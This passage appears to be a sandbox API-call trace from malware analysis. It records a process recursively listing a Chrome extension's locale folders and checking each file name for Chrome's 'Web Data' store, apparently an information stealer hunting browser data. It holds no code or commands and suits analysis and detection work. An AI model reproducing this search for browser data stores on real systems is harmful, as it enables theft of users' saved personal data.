(uFlags=0x40, uBytes=0x10a) returned 0x2daec0 [0056.308] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\tr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\tr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\tr" [0056.308] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\tr", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\tr\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\tr\\*.*" [0056.308] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\tr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.308] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.308] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.308] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.308] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.308] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.308] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.308] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.308] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.308] LocalFree (hMem=0x2daec0) returned 0x0 [0056.308] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.308] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.308] lstrcmpiA (lpString1=".", lpString2="uk") returned -1 [0056.309] lstrcmpiA (lpString1="..", lpString2="uk") returned -1 [0056.309] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.309] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.309] lstrlenA (lpString="\\") returned 1 [0056.309] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2daca0 [0056.309] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" [0056.309] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.309] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned 131 [0056.309] lstrlenA (lpString="uk") returned 2 [0056.309] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2dadb0 [0056.309] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.309] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\", lpString2="uk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\uk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\uk" [0056.309] LocalFree (hMem=0x2daca0) returned 0x0 [0056.309] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\uk") returned 133 [0056.309] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\uk") returned 133 [0056.309] lstrlenA (lpString="\\*.*") returned 4 [0056.309] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2daec0 [0056.309] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\uk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\uk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\uk" [0056.309] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\uk", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\uk\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\uk\\*.*" [0056.309] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\uk\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.309] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.309] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.309] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.309] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.309] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.309] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.309] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.309] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.309] LocalFree (hMem=0x2daec0) returned 0x0 [0056.309] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.309] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.309] lstrcmpiA (lpString1=".", lpString2="vi") returned -1 [0056.309] lstrcmpiA (lpString1="..", lpString2="vi") returned -1 [0056.310] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.310] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.310] lstrlenA (lpString="\\") returned 1 [0056.310] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2daca0 [0056.310] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" [0056.310] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.310] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned 131 [0056.310] lstrlenA (lpString="vi") returned 2 [0056.310] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2dadb0 [0056.310] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.310] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\", lpString2="vi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\vi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\vi" [0056.310] LocalFree (hMem=0x2daca0) returned 0x0 [0056.310] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\vi") returned 133 [0056.310] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\vi") returned 133 [0056.310] lstrlenA (lpString="\\*.*") returned 4 [0056.310] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2daec0 [0056.310] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\vi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\vi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\vi" [0056.310] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\vi", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\vi\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\vi\\*.*" [0056.310] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\vi\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.310] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.310] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.310] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.310] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.310] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.310] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.310] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.310] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.310] LocalFree (hMem=0x2daec0) returned 0x0 [0056.310] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.310] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.310] lstrcmpiA (lpString1=".", lpString2="zh_CN") returned -1 [0056.310] lstrcmpiA (lpString1="..", lpString2="zh_CN") returned -1 [0056.310] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.310] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.310] lstrlenA (lpString="\\") returned 1 [0056.310] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2daca0 [0056.310] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" [0056.310] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.310] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned 131 [0056.310] lstrlenA (lpString="zh_CN") returned 5 [0056.310] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2dadb0 [0056.310] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.310] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\", lpString2="zh_CN" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\zh_CN") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\zh_CN" [0056.310] LocalFree (hMem=0x2daca0) returned 0x0 [0056.310] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\zh_CN") returned 136 [0056.310] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\zh_CN") returned 136 [0056.310] lstrlenA (lpString="\\*.*") returned 4 [0056.310] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2daec8 [0056.310] lstrcpyA (in: lpString1=0x2daec8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\zh_CN" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\zh_CN") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\zh_CN" [0056.311] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\zh_CN", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\zh_CN\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\zh_CN\\*.*" [0056.311] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.311] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.311] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.311] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.311] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.311] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.311] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.311] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.311] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.311] LocalFree (hMem=0x2daec8) returned 0x0 [0056.311] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.311] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.311] lstrcmpiA (lpString1=".", lpString2="zh_TW") returned -1 [0056.311] lstrcmpiA (lpString1="..", lpString2="zh_TW") returned -1 [0056.311] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.311] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.311] lstrlenA (lpString="\\") returned 1 [0056.311] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2daca0 [0056.311] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" [0056.311] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.311] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned 131 [0056.311] lstrlenA (lpString="zh_TW") returned 5 [0056.311] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2dadb0 [0056.311] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.311] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\", lpString2="zh_TW" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\zh_TW") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\zh_TW" [0056.311] LocalFree (hMem=0x2daca0) returned 0x0 [0056.311] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\zh_TW") returned 136 [0056.311] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\zh_TW") returned 136 [0056.311] lstrlenA (lpString="\\*.*") returned 4 [0056.311] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2daec8 [0056.311] lstrcpyA (in: lpString1=0x2daec8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 